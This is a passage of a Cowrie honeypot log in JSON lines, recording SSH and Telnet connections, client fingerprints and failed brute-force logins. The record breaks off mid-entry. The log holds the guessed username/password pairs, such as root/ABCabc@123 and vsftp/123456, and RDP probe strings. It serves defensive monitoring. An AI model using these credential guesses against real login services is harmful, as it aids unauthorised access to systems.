{"eventid":"cowrie.login.failed","username":"nadiah","password":"12345678","message":"login attempt [nadiah/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:23.762391Z","src_ip":"193.32.162.151","session":"65255a459dfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:24.447714Z","src_ip":"43.156.17.27","session":"a69711276b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:24.866268Z","src_ip":"193.32.162.151","session":"65255a459dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.247.67.244","src_port":47767,"dst_ip":"159.203.135.109","dst_port":23,"session":"2624eb67dc30","protocol":"telnet","message":"New connection: 85.247.67.244:47767 (159.203.135.109:23) [session: 2624eb67dc30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:42.291673Z"}
{"eventid":"cowrie.session.closed","duration":0.005954265594482422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:42.297516Z","src_ip":"85.247.67.244","session":"2624eb67dc30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":45302,"dst_ip":"159.203.135.109","dst_port":22,"session":"9945eff55aa6","protocol":"ssh","message":"New connection: 165.154.227.158:45302 (159.203.135.109:22) [session: 9945eff55aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:46.048752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:46.053488Z","src_ip":"165.154.227.158","session":"9945eff55aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:46.264007Z","src_ip":"165.154.227.158","session":"9945eff55aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc@123","message":"login attempt [root/ABCabc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:47.133349Z","src_ip":"165.154.227.158","session":"9945eff55aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:48.345454Z","src_ip":"165.154.227.158","session":"9945eff55aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56616,"dst_ip":"10.17.0.5","dst_port":23,"session":"281d897b262a","protocol":"telnet","message":"New connection: 192.119.13.58:56616 (10.17.0.5:23) [session: 281d897b262a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:19:58.894655Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.184.88.38","src_port":40854,"dst_ip":"10.17.0.5","dst_port":23,"session":"552f4df11ad1","protocol":"telnet","message":"New connection: 60.184.88.38:40854 (10.17.0.5:23) [session: 552f4df11ad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:00.913839Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63832,"dst_ip":"10.17.0.5","dst_port":22,"session":"0178e6caf4b1","protocol":"ssh","message":"New connection: 152.42.212.128:63832 (10.17.0.5:22) [session: 0178e6caf4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:03.740638Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:03.747862Z","src_ip":"152.42.212.128","session":"0178e6caf4b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:03.753162Z","src_ip":"152.42.212.128","session":"0178e6caf4b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58188,"dst_ip":"10.17.0.5","dst_port":22,"session":"76e102fb8a6c","protocol":"ssh","message":"New connection: 167.172.81.52:58188 (10.17.0.5:22) [session: 76e102fb8a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:12.341294Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:12.393176Z","src_ip":"167.172.81.52","session":"76e102fb8a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:12.412326Z","src_ip":"167.172.81.52","session":"76e102fb8a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.277209520339966,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:13.190892Z","src_ip":"60.184.88.38","session":"552f4df11ad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.118847131729126,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:35.013286Z","src_ip":"192.119.13.58","session":"281d897b262a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39500,"dst_ip":"159.203.135.109","dst_port":22,"session":"169c1b7f3a97","protocol":"ssh","message":"New connection: 80.94.92.186:39500 (159.203.135.109:22) [session: 169c1b7f3a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:36.193540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:36.230840Z","src_ip":"80.94.92.186","session":"169c1b7f3a97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:36.369959Z","src_ip":"80.94.92.186","session":"169c1b7f3a97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:36.999538Z","src_ip":"80.94.92.186","session":"169c1b7f3a97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":46338,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca6c0ac4f1f4","protocol":"ssh","message":"New connection: 43.156.17.27:46338 (159.203.135.109:22) [session: ca6c0ac4f1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:37.455337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:37.460940Z","src_ip":"43.156.17.27","session":"ca6c0ac4f1f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:37.707759Z","src_ip":"43.156.17.27","session":"ca6c0ac4f1f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456jJ","message":"login attempt [root/123456jJ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:38.721032Z","src_ip":"43.156.17.27","session":"ca6c0ac4f1f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:39.387083Z","src_ip":"80.94.92.186","session":"169c1b7f3a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:39.969686Z","src_ip":"43.156.17.27","session":"ca6c0ac4f1f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":51704,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4e1f65fa3d3","protocol":"ssh","message":"New connection: 43.173.90.78:51704 (159.203.135.109:22) [session: e4e1f65fa3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:53.958595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:53.966717Z","src_ip":"43.173.90.78","session":"e4e1f65fa3d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:54.034798Z","src_ip":"43.173.90.78","session":"e4e1f65fa3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vsftp","password":"123456","message":"login attempt [vsftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:54.338550Z","src_ip":"43.173.90.78","session":"e4e1f65fa3d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:55.414279Z","src_ip":"43.173.90.78","session":"e4e1f65fa3d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.13.117.104","src_port":34434,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dc7fd5c25bc","protocol":"telnet","message":"New connection: 60.13.117.104:34434 (159.203.135.109:23) [session: 7dc7fd5c25bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:20:59.959254Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":47200,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fc1d8eb911d","protocol":"ssh","message":"New connection: 150.109.20.59:47200 (10.17.0.5:22) [session: 0fc1d8eb911d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:01.757192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:01.762788Z","src_ip":"150.109.20.59","session":"0fc1d8eb911d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:02.011187Z","src_ip":"150.109.20.59","session":"0fc1d8eb911d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deposito","password":"deposito","message":"login attempt [deposito/deposito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:03.025814Z","src_ip":"150.109.20.59","session":"0fc1d8eb911d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:04.275690Z","src_ip":"150.109.20.59","session":"0fc1d8eb911d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":7152,"dst_ip":"159.203.135.109","dst_port":22,"session":"cccb472bf523","protocol":"ssh","message":"New connection: 165.154.227.158:7152 (159.203.135.109:22) [session: cccb472bf523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:10.856843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:10.864715Z","src_ip":"165.154.227.158","session":"cccb472bf523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:11.078794Z","src_ip":"165.154.227.158","session":"cccb472bf523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mamad","password":"mamad","message":"login attempt [mamad/mamad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:11.968306Z","src_ip":"165.154.227.158","session":"cccb472bf523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.445517778396606,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:12.404633Z","src_ip":"60.13.117.104","session":"7dc7fd5c25bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:13.185462Z","src_ip":"165.154.227.158","session":"cccb472bf523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":56526,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3bf4c52bbb8","protocol":"ssh","message":"New connection: 38.93.206.2:56526 (159.203.135.109:22) [session: a3bf4c52bbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:26.257829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:26.262625Z","src_ip":"38.93.206.2","session":"a3bf4c52bbb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 